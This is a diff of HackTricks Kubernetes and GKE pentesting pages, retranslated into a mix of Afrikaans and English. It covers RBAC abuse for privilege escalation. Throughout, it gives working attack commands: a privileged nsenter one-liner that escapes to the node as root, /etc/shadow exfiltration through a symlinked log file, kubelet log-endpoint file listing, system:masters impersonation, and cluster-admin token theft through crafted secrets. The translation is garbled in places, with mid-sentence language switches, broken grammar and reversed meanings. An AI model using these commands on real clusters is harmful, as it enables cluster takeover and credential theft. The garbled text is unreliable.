Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-val

src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md

@@ -1,10 +1,10 @@
-# GCP - Houers & GKE Enum
+# GCP - Containers & GKE Enum
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Houers
+## Containers
 
-In GCP houers kan jy die meeste van die houer-gebaseerde dienste wat GCP bied, vind, hier kan jy sien hoe om die mees algemene eenhede te enumereer:
+In GCP containers kan jy die meeste van die container-gebaseerde dienste vind wat GCP aanbied; hier kan jy sien hoe om die mees algemene ones te enum:
 ```bash
 gcloud container images list
 gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
 ```
 ### Privesc
 
-In die volgende bladsy kan jy kyk hoe om **houer toestemmings te misbruik om voorregte te verhoog**:
+In die volgende bladsy kan jy kyk hoe om **container permissions te abuse om privileges te escalate**:
 
 {{#ref}}
 ../gcp-privilege-escalation/gcp-container-privesc.md
@@ -32,7 +32,7 @@ In die volgende bladsy kan jy kyk hoe om **houer toestemmings te misbruik om voo
 
 ## Node Pools
 
-Dit is die poel van masjiene (nodes) wat die kubernetes klusters vorm.
+Dit is die pool van machines (nodes) wat die kubernetes clusters vorm.
 ```bash
 # Pool of machines used by the cluster
 gcloud container node-pools list --zone <zone> --cluster <cluster>
@@ -46,47 +46,63 @@ Vir inligting oor wat Kubernetes is, kyk na hierdie bladsy:
 ../../kubernetes-security/
 {{#endref}}
 
-Eerstens kan jy kyk of daar enige Kubernetes-klusters in jou projek bestaan.
+Eers kan jy kyk of enige Kubernetes-clusters in jou projek bestaan.
 ```
 gcloud container clusters list
 ```
-As jy 'n kluster het, kan jy `gcloud` outomaties jou `~/.kube/config` lêer konfigureer. Hierdie lêer word gebruik om jou te verifieer wanneer jy [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) gebruik, die inheemse CLI om met K8s-klusters te kommunikeer. Probeer hierdie opdrag.
+As jy wel 'n cluster het, kan jy `gcloud` jou `~/.kube/config`-lêer outomaties laat konfigureer. Hierdie lêer word gebruik om jou te verifieer wanneer jy [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) gebruik, die native CLI vir interaksie met K8s-clusters. Probeer hierdie command.
 ```
 gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
 ```
-Kyk dan na die `~/.kube/config` lêer om die gegenereerde geloofsbriewe te sien. Hierdie lêer sal gebruik word om toegangstokens outomaties te verfris op grond van dieselfde identiteit wat jou aktiewe `gcloud` sessie gebruik. Dit vereis natuurlik die korrekte toestemmings.
+Kyk dan na die `~/.kube/config` lêer om die gegenereerde credentials te sien. Hierdie lêer sal gebruik word om access tokens outomaties te ververs gebaseer op dieselfde identity wat jou aktiewe `gcloud` sessie gebruik. Dit vereis natuurlik dat die korrekte permissions in plek is.
 
-Sodra dit opgestel is, kan jy die volgende opdrag probeer om die klusterkonfigurasie te verkry.
+Sodra dit ingestel is, kan jy die volgende command probeer om die cluster configuration te kry.
 ```
 kubectl cluster-info
 ```
-U kan meer lees oor `gcloud` vir houers [hier](https://cloud.google.com/sdk/gcloud/reference/container/).
+Jy kan meer lees oor `gcloud` vir containers [hier](https://cloud.google.com/sdk/gcloud/reference/container/).
 
-Dit is 'n eenvoudige skrip om kubernetes in GCP te enumereer: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
+Dit is 'n eenvoudige script om kubernetes in GCP te enumereer: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
+
+### Huidige GKE identity- en metadata-kontroles
+
+Wanneer moderne GKE clusters hersien word, skei Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, en node credentials. 'n Google principal kan dikwels cluster endpoint-data met `container.clusters.get` ophaal, maar die gevolglike Kubernetes requests moet steeds deur GKE/Kubernetes authorization gaan en enige network restrictions soos private endpoints of authorized networks.
+
+Workload Identity Federation vir GKE is die voorkeur manier vir pods om toegang tot Google Cloud APIs te kry. Kontroleer of die cluster 'n workload pool het en of Kubernetes service accounts direk as IAM principals gemap word of toegelaat word om IAM service accounts te impersonate:
+```bash
+gcloud container clusters describe <cluster> --region <region> \
+--format='value(workloadIdentityConfig.workloadPool)'
+
+kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
+kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
+```
+As 'n service account die annotasie `iam.gke.io/gcp-service-account` het, hersien die IAM service account policy vir `roles/iam.workloadIdentityUser` toekennings aan Kubernetes service account principals. Kontroleer ook IAM allow policies vir direkte workload identity principals of breë principal sets.
+
+Metadata-toegang hang af van cluster mode, node pool configuration, en workload settings. Moenie aanneem elke pod kan die node service account steel nie. In Workload Identity-enabled omgewings moet gewone pods die GKE metadata server gebruik om die workload identity te verkry wat vir hul Kubernetes service account bedoel is. Node compromise, `hostNetwork` pods in sommige Standard configurations, en legacy node metadata exposure kan steeds die blast radius verander, so verifieer die werklike node pool metadata mode, node service account, OAuth scopes, en pod placement.
 
 ### TLS Boostrap Privilege Escalation
 
-Aanvanklik het hierdie voorregverhogingstegniek toegelaat om **privesc binne die GKE-kluster** wat 'n aanvaller in staat gestel het om dit **ten volle te kompromitteer**.
+Aanvanklik het hierdie privilege escalation technique toegelaat om **privesc binne die GKE cluster** uit te voer, wat 'n aanvaller effektief in staat gestel het om dit **volledig te compromise**.
 
-Dit is omdat GKE [TLS Bootstrap akrediteer](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in die metadata verskaf, wat **toeganklik is vir enigeen deur net 'n pod te kompromitteer**.
+Dit is omdat GKE [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in die metadata voorsien, wat **toeganklik is vir enigiemand deur bloot 'n pod te compromise**.
 
-Die tegniek wat gebruik is, word in die volgende plasings verduidelik:
+Die technique wat gebruik is, word in die volgende posts verduidelik:
 
 - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
 - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
 - [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
 
-En hierdie hulpmiddel is geskep om die proses te outomatiseer: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
+En hierdie tool is geskep om die proses te automateer: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
 
-Egter, die tegniek het die feit misbruik dat **met die metadata akrediteer** dit moontlik was om **'n CSR** (Certificate Signing Request) vir 'n **nuwe node** te **genereer**, wat **outomaties goedgekeur** was.\
-In my toets het ek gekontroleer dat **daardie versoeke nie meer outomaties goedgekeur word nie**, so ek is nie seker of hierdie tegniek steeds geldig is nie.
+Die technique het egter die feit misbruik dat **met die metadata credentials** dit moontlik was om 'n **CSR** (Certificate Signing Request) vir 'n **nuwe node** te genereer, wat **outomaties goedgekeur** is.\
+In my toets het ek nagegaan dat **daardie requests nie meer outomaties goedgekeur word nie**, so ek is nie seker of hierdie technique steeds geldig is nie.
 
 ### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
 
-In [**hierdie pos**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) is daar ontdek dat daar 'n Kubelet API adres is wat vanaf binne 'n pod in GKE toeganklik is wat die besonderhede van die lopende pods gee:
+In [**hierdie post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) is ontdek dat 'n Kubelet API address toeganklik was van binne 'n pod in GKE, wat die besonderhede van die pods wat loop, gegee het:
 ```
 curl -v -k http://10.124.200.1:10255/pods
 ```
-Selfs al die API **nie toelaat om hulpbronne te wysig nie**, kan dit moontlik wees om **sensitiewe inligting** in die antwoord te vind. Die eindpunt /pods is gevind met behulp van [**Kiterunner**](https://github.com/assetnote/kiterunner).
+Selfs al laat die API **nie toe om resources te wysig nie**, kan dit moontlik wees om **sensitiewe inligting** in die response te vind. Die endpoint /pods is gevind met behulp van [**Kiterunner**](https://github.com/assetnote/kiterunner).
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md

@@ -1,23 +1,23 @@
-# Misbruik van Roles/ClusterRoles in Kubernetes
+# Abusing Roles/ClusterRoles in Kubernetes
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Hier kan jy 'n paar potensieel gevaarlike Roles en ClusterRoles-konfigurasies vind.\
+Hier kan jy van die moontlik gevaarlike Roles- en ClusterRoles-konfigurasies vind.\
 Onthou dat jy al die ondersteunde resources kan kry met `kubectl api-resources`
 
 ## **Privilege Escalation**
 
-Beskryf as die kuns om **toegang tot 'n ander principal'** binne die cluster te kry **met ander voorregte** (binne die kubernetes cluster of na eksterne clouds) as dié wat jy reeds het, in Kubernetes is daar basies **4 hoof-tegnieke om voorregte op te skaal**:
+Verwysend na die kuns om **toegang te kry tot 'n ander principal** binne die cluster **met verskillende privileges** (binne die kubernetes cluster of na eksterne clouds) as die een wat jy reeds het, is daar in Kubernetes basies **4 hooftegnieke om privileges te escalate**:
 
-- Kan **impersonate** ander user/groups/SAs met beter voorregte binne die kubernetes cluster of na eksterne clouds
-- Kan **create/patch/exec pods** waar jy **find or attach SAs** met beter voorregte binne die kubernetes cluster of na eksterne clouds
-- Kan **read secrets** aangesien die SAs tokens as secrets gestoor word
-- Kan **escape to the node** vanaf 'n container, waar jy al die secrets van die containers wat op die node loop, die credentials van die node, en die permissies van die node binne die cloud waarin dit loop (indien enige) kan steel
-- 'n Vyfde tegniek wat 'n vermelding verdien is die vermoë om in 'n pod **run port-forward**, aangesien jy dalk interessante resources binne daardie pod kan bereik.
+- Wees in staat om ander user/groups/SAs met beter privileges binne die kubernetes cluster of na eksterne clouds te **impersonate**
+- Wees in staat om **pods te create/patch/exec** waar jy SAs met beter privileges binne die kubernetes cluster of na eksterne clouds kan **find or attach**
+- Wees in staat om **secrets te read** aangesien die SAs tokens as secrets gestoor word
+- Wees in staat om na die node te **escape** vanaf 'n container, waar jy al die secrets van die containers wat op die node loop, die credentials van die node, en die permissions van die node binne die cloud waarin dit loop (indien enige) kan steel
+- 'n Vyfde tegniek wat vermeld moet word is die vermoë om **port-forward** in 'n pod te **run**, aangesien jy moontlik toegang kan kry tot interessante resources binne daardie pod.
 
-### Toegang Tot Enige Resource of Verb (Wildcard)
+### Access Any Resource or Verb (Wildcard)
 
-Die **wildcard (\*) verleen toestemming oor enige resource met enige verb**. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enigenamespace in die cluster kan misbruik
+Die **wildcard (\*) gee permission oor enige resource met enige verb**. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n attacker enige namespace in die cluster kan abuse
 ```yaml
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -29,13 +29,13 @@ rules:
 resources: ["*"]
 verbs: ["*"]
 ```
-### Toegang tot enige hulpbron met 'n spesifieke werkwoord
+### Kry toegang tot enige resource met 'n spesifieke verb
 
-In RBAC hou sekere permissies beduidende risiko's in:
+In RBAC hou sekere toestemmings beduidende risiko's in:
 
-1. **`create`:** Gee die vermoë om enige cluster resource te skep, wat privilege escalation moontlik maak.
-2. **`list`:** Laat toe om alle resources te lys, potentially leaking sensitive data.
-3. **`get`:** Maak dit moontlik om secrets van service accounts te verkry, wat 'n sekuriteitsrisiko inhou.
+1. **`create`:** Gee die vermoë om enige cluster resource te skep, wat privilege escalation kan veroorsaak.
+2. **`list`:** Laat toe om alle resources te lys, wat moontlik sensitiewe data kan leak.
+3. **`get`:** Laat toe om secrets van service accounts te verkry, wat 'n sekuriteitsbedreiging inhou.
 ```yaml
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
 ```
 ### Pod Create - Steal Token
 
-'n attacker met die regte om 'n pod te skep, kan 'n bevoorregte Service Account aan die pod heg en die token steel om die Service Account te impersonate. Dit eskaleer effektief bevoegdhede na die Service Account.
+’n Aanvaller met die permissions om ’n pod te skep, kan ’n privileged Service Account aan die pod koppel en die token steel om die Service Account te impersonate. Dit eskaleer effektief privileges na dit.
 
-Voorbeeld van 'n pod wat die token van die `bootstrap-signer` service account sal steel en dit aan die attacker stuur:
+Voorbeeld van ’n pod wat die token van die `bootstrap-signer` service account sal steel en dit na die attacker stuur:
 ```yaml
 apiVersion: v1
 kind: Pod
@@ -74,11 +74,11 @@ hostNetwork: true
 ```
 ### Pod Create & Escape
 
-Die volgende dui al die voorregte aan wat 'n container kan hê:
+Die volgende dui aan al die privileges wat ’n container kan hê:
 
-- **Privileged access** (beskermings afskakel en capabilities instel)
-- **Disable namespaces hostIPC and hostPid** wat kan help om voorregte te eskaleer
-- **Disable hostNetwork** naamruimte, wat toegang gee om nodes se cloud-voorregte te steel en beter toegang tot netwerke
+- **Privileged access** (deaktiveer protections en stel capabilities)
+- **Deaktiveer namespaces hostIPC en hostPid** wat kan help om privileges te escalate
+- **Deaktiveer hostNetwork** namespace, wat toegang gee om nodes cloud privileges te steel en beter toegang tot networks
 - **Mount hosts / inside the container**
 ```yaml:super_privs.yaml
 apiVersion: v1
@@ -119,15 +119,15 @@ Skep die pod met:
 ```bash
 kubectl --token $token create -f mount_root.yaml
 ```
-Eenreël van [this tweet](https://twitter.com/mauilion/status/1129468485480751104) en met 'n paar byvoegings:
+Een-reël van [hierdie tweet](https://twitter.com/mauilion/status/1129468485480751104) en met ’n paar toevoegings:
 ```bash
 kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
 ```
-Nou dat jy na die node kan ontsnap kyk na post-exploitation techniques in:
+Nou that you can escape to the node check post-exploitation techniques in:
 
 #### Stealth
 
-Jy wil waarskynlik meer onopvallend wees; in die volgende bladsye kan jy sien waartoe jy toegang sou hê as jy 'n pod skep wat slegs sommige van die vroeër genoemde privileges in die vorige sjabloon aktiveer:
+Jy wil waarskynlik **stealthier** wees; in die volgende bladsye kan jy sien waartoe jy toegang sal hê as jy ’n pod skep wat slegs sommige van die genoemde privileges in die vorige template aktiveer:
 
 - **Privileged + hostPID**
 - **Privileged only**
@@ -136,14 +136,14 @@ Jy wil waarskynlik meer onopvallend wees; in die volgende bladsye kan jy sien wa
 - **hostNetwork**
 - **hostIPC**
 
-_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
+_Jy kan voorbeelde vind van hoe om die vorige privileged pods configurations te skep/misbruik in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
 
 ### Pod Create - Move to cloud
 
-As jy 'n **pod** kan **create** (en opsioneel 'n **service account**) kan jy moontlik **obtain privileges in cloud environment** deur **assigning cloud roles to a pod or a service account** en dit dan te gebruik.\
-Verder, as jy 'n **pod with the host network namespace** kan skep, kan jy die **IAM** rol van die **node** instance **steal**.
+As jy ’n **pod** kan **create** (en opsioneel ’n **service account**) kan jy dalk **privileges in cloud environment obtain** deur **cloud roles aan ’n pod of ’n service account toe te ken** en dit dan te access.\
+Boonop, as jy ’n **pod met die host network namespace** kan create, kan jy die **IAM** role van die **node** instance **steal**.
 
-For more information check:
+Vir meer inligting check:
 
 {{#ref}}
 pod-escape-privileges.md
@@ -151,7 +151,7 @@ pod-escape-privileges.md
 
 ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
 
-Dit is moontlik om hierdie permissies te misbruik om 'n **nuwe pod te create** en voorregte te verkry soos in die vorige voorbeeld.
+Dit is moontlik om hierdie permissions te abouse om **’n nuwe pod te create** en privileges te estalae soos in die vorige voorbeeld.
 
 Die volgende yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
 ```yaml
@@ -191,32 +191,32 @@ path: /
 ```
 ### **Pods Exec**
 
-**`pods/exec`** is 'n resource in kubernetes wat gebruik word vir **running commands in a shell inside a pod**. Dit maak dit moontlik om **run commands inside the containers or get a shell inside**.
+**`pods/exec`** is 'n resource in kubernetes wat gebruik word om **commands in 'n shell binne 'n pod uit te voer**. Dit laat toe om **commands binne die containers uit te voer of 'n shell binne te kry**.
 
-Daarom is dit moontlik om **get inside a pod and steal the token of the SA**, of in 'n privileged pod in te gaan, na die node te ontsnap, en al die tokens van die pods op die node te steel en die node te (ab)use:
+Daarom is dit moontlik om **in 'n pod in te kom en die token van die SA te steel**, of in 'n privileged pod in te gaan, na die node te escape, en al die tokens van die pods op die node te steel en die node te (ab)use:
 ```bash
 kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
 ```
 > [!NOTE]
-> Standaard word die opdrag in die eerste kontenaer van die pod uitgevoer. Kry **al die kontenaers in 'n pod** met `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` en dui dan die **kontenaer aan** waarin jy dit wil uitvoer met `kubectl exec -it <pod_name> -c <container_name> -- sh`
+> By default word die command uitgevoer in die eerste container van die pod. Kry **al die pods in 'n container** met `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` en dan **spesifiseer die container** waar jy dit wil uitvoer met `kubectl exec -it <pod_name> -c <container_name> -- sh`
 
-As dit 'n distroless container is, kan jy probeer om **shell builtins** te gebruik om inligting oor die kontenaers te kry, of jou eie gereedskap op te laai, soos 'n **busybox**, met: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
+As dit 'n distroless container is kan jy probeer om **shell builtins** te gebruik om info van die containers te kry of jou eie tools op te laai soos 'n **busybox** met: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
 
 ### port-forward
 
-Hierdie toestemming laat toe om **een plaaslike poort na 'n poort in die gespesifiseerde pod deur te stuur**. Dit is bedoel om dit maklik te maak om toepassings wat binne 'n pod loop te debug, maar 'n aanvaller kan dit misbruik om toegang te kry tot interessante (soos DBs) of kwesbare toepassings (webs?) binne 'n pod:
+Hierdie permission laat toe om **een local port na een port in die specified pod** te forward. Dit is bedoel om toepassings wat binne-in 'n pod loop maklik te debug, maar 'n attacker kan dit abuse om toegang te kry tot interessante (soos DBs) of vulnerable toepassings (webs?) binne 'n pod:
 ```bash
 kubectl port-forward pod/mypod 5000:5000
 ```
 ### Hosts Writable /var/log/ Escape
 
-Soos [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang het tot of 'n pod kan skep met die gasheer se **`/var/log/` gids gemonteer** daarop, kan jy **escape from the container**.\
-Dit is hoofsaaklik omdat wanneer die **Kube-API probeer om die logs te kry** van 'n container (met `kubectl logs <pod>`), dit **requests the `0.log`** lêer van die pod versoek deur die `/logs/` endpoint van die **Kubelet** diens.\
-Die Kubelet diens stel die `/logs/` endpoint bloot wat basies die **`/var/log` filesisteem van die container blootstel**.
+Soos [**in hierdie navorsing aangedui**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang kan kry tot of ’n pod kan skep met die **hosts `/var/log/` directory gemount** daarop, kan jy **uit die container ontsnap**.\
+Dit is basies omdat, wanneer die **Kube-API probeer om die logs** van ’n container te kry (met `kubectl logs <pod>`), dit die pod se **`0.log`**-lêer versoek deur die `/logs/` endpoint van die **Kubelet** service te gebruik.\
+Die Kubelet service stel die `/logs/` endpoint bloot, wat basies net die **`/var/log` filesystem van die container** blootstel.
 
-Daarom kan 'n aanvaller met **toegang om in die `/var/log/` vouer te skryf** van die container hierdie gedrag op 2 maniere misbruik:
+Daarom kan ’n attacker met **toegang om in die /var/log/ folder van die container te skryf** hierdie behaviour op 2 maniere misbruik:
 
-- Deur die `0.log` file van sy container te wysig (gewoonlik geleë by `/var/logs/pods/namespace_pod_uid/container/0.log`) om byvoorbeeld 'n **symlink wat na `/etc/shadow` wys** te wees. Dan sal jy die gasheer se shadow-lêer kan exfiltrate deur:
+- Deur die `0.log`-lêer van sy container te verander (gewoonlik geleë in `/var/logs/pods/namespace_pod_uid/container/0.log`) om byvoorbeeld ’n **symlink wat na `/etc/shadow` wys** te wees. Dan sal jy die hosts shadow file kan exfiltrate deur:
 ```bash
 kubectl logs escaper
 failed to get parse function: unsupported log format: "root::::::::\n"
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
 # Keep incrementing tail to exfiltrate the whole file
 ```
-- As die aanvaller enige prinsipaal beheer met die **toestemming om `nodes/log` te lees**, kan hy net 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer hy **toegang tot `https://<gateway>:10250/logs/sym/` kry**, sal hy die gasheer se wortel-lêerstelsel kan lys (deur die symlink te verander kan toegang tot lêers verskaf word).
+- As die aanvaller enige principal beheer met die **permissions to read `nodes/log`**, kan hy eenvoudig ’n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
 ```bash
 curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
 <a href="bin">bin</a>
@@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
 <a href="lib">lib</a>
 [...]
 ```
-**'n laboratorium en geoutomatiseerde exploit kan gevind word in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
+**’n Laboratorium en geoutomatiseerde exploit kan gevind word in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
 
-#### Omseiling van readOnly-beskerming <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
+#### Omseil van readOnly-beskerming <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
 
-As jy gelukkig genoeg is en die hoogs bevoorregte bevoegdheid `CAP_SYS_ADMIN` beskikbaar is, kan jy die map net as rw hermonteer:
+As jy gelukkig genoeg is en die hooggeprivilegieerde capability `CAP_SYS_ADMIN` beskikbaar is, kan jy net die folder as rw remount:
 ```bash
 mount -o rw,remount /hostlogs/
 ```
-#### Om hostPath readOnly-beskerming te omseil <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
+#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
 
-Soos aangedui in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) is dit moontlik om die beskerming te omseil:
+Soos gestel in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) is dit moontlik om die beskerming te omseil:
 ```yaml
 allowedHostPaths:
 - pathPrefix: "/foo"
 readOnly: true
 ```
-Dit was bedoel om ontsnappings soos die vorige te voorkom deur, in plaas daarvan om 'n hostPath mount te gebruik, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n hosts folder in die container met writable access te mount:
+Wat bedoel was om ontsnappinge soos die vorige te voorkom deur, in plaas daarvan om ’n hostPath mount te gebruik, ’n PersistentVolume en ’n PersistentVolumeClaim te gebruik om ’n hosts-lêergids in die container met skryfbare toegang te mount:
 ```yaml
 apiVersion: v1
 kind: PersistentVolume
@@ -298,11 +298,11 @@ volumeMounts:
 - mountPath: "/hostlogs"
 name: task-pv-storage-vol
 ```
-### **Impersonasie van bevoorregte rekeninge**
+### **Nabootsing van bevoorregte rekenings**
 
-Met 'n [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) voorreg kan 'n aanvaller 'n bevoorregte rekening naboots.
+Met ’n [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, could an attacker a privileged account impersonate.
 
-Gebruik net die parameter `--as=<username>` in die `kubectl`-opdrag om 'n gebruiker na te boots, of `--as-group=<group>` om 'n groep na te boots:
+Gebruik net die parameter `--as=<username>` in die `kubectl` command om ’n user na te boots, of `--as-group=<group>` om ’n group na te boots:
 ```bash
 kubectl get pods --as=system:serviceaccount:kube-system:default
 kubectl get secrets --as=null --as-group=system:masters
@@ -315,16 +315,17 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
 -H "Accept: application/json" \
 https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
-### Lys van Secrets
+### Lys Secrets
 
-Die toestemming om **list secrets** kan 'n aanvaller toelaat om werklik die secrets te lees deur toegang tot die REST API endpoint:
+Die toestemming om **secrets te lys kan 'n aanvaller in staat stel om die secrets werklik te lees** deur toegang te verkry tot die REST API-endpoint:
 ```bash
 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
-### Skep en Lees Secrets
+### Creating and Reading Secrets
 
-Daar is 'n spesiale soort Kubernetes secret van die tipe **kubernetes.io/service-account-token** wat serviceaccount-tokens stoor.
-As jy toestemming het om secrets te skep en te lees, en jy ken ook die serviceaccount se naam, kan jy 'n secret soos volg skep en dan die slagoffer se serviceaccount-token daaruit steel:
+Daar is ’n spesiale soort Kubernetes Secret van tipe **kubernetes.io/service-account-token** wat service account tokens stoor. Moderne Kubernetes-weergawes skep **nie** outomaties een langlewende Secret vir elke ServiceAccount nie; projected, bound TokenRequest tokens is die normale workload pad. Manually created service account token Secrets word egter steeds ondersteun, en upgraded of legacy clusters kan steeds langlewende token Secrets bevat. Current clusters kan ook ongebruikte auto-generated legacy token Secrets ongeldig merk en hulle uiteindelik opruim, en labels soos `kubernetes.io/legacy-token-invalid-since` en `kubernetes.io/legacy-token-last-used` agterlaat.
+
+As jy permissies het om secrets te skep en te lees, en jy weet ook die serviceaccount se naam, kan jy ’n secret soos volg skep en dan die victim serviceaccount se token daaruit steel:
 ```yaml
 apiVersion: v1
 kind: Secret
@@ -335,7 +336,7 @@ annotations:
 kubernetes.io/service-account.name: cluster-admin-sa
 type: kubernetes.io/service-account-token
 ```
-Voorbeeld exploitation:
+Voorbeeld van exploitation:
 ```bash
 $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
 
@@ -383,17 +384,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
 "type": "kubernetes.io/service-account-token"
 }
 ```
-Let daarop dat as jy toegelaat word om secrets in ’n sekere namespace te skep en te lees, die slagoffer serviceaccount ook in daardie selfde namespace moet wees.
+Let daarop dat as jy toegelaat word om secrets in ’n spesifieke namespace te skep en te lees, die slagoffer serviceaccount ook in daardie selfde namespace moet wees.
 
-### Reading a secret – brute-forcing token IDs
 
-Terwyl ’n aanvaller in besit van ’n token met leesregte die presiese naam van die secret benodig om dit te gebruik, in teenstelling met die breër _**listing secrets**_ voorreg, bestaan daar steeds kwesbaarhede. Default serviceaccounts in die stelsel kan geënumeer word, elk geassosieer met ’n secret. Hierdie secrets het ’n naamstruktuur: ’n statiese voorvoegsel gevolg deur ’n ewekansige vyf-karakter alfanumeriese token (sonder sekere karakters) volgens die [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
+### Lees van ’n secret – brute-forcing token IDs
 
-Die token word gegenereer uit ’n beperkte stel van 27 karakters (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan ’n aanvaller teoreties ’n brute-force attack uitvoer om die token binne ’n paar uur te raai, wat moontlik tot privilege escalation lei deur toegang tot sensitiewe serviceaccounts te verkry.
+Terwyl ’n aanvaller in besit van ’n token met read permissions die presiese naam van die secret nodig het om dit te gebruik, anders as die breër _**listing secrets**_ privilege, is daar steeds kwesbaarhede. Default service accounts in die stelsel kan gelys word, elk geassosieer met ’n secret. Hierdie secrets het ’n naamstruktuur: ’n statiese prefix gevolg deur ’n ewekansige vyf-karakter alfanumeriese token (met sekere karakters uitgesluit) volgens die [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
+
+Die token word gegenereer uit ’n beperkte 27-karakter stel (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan ’n aanvaller haalbaar ’n brute-force aanval uitvoer om die token binne ’n paar uur af te lei, wat moontlik lei tot privilege escalation deur toegang tot sensitiewe service accounts te verkry.
 
 ### EncrpytionConfiguration in clear text
 
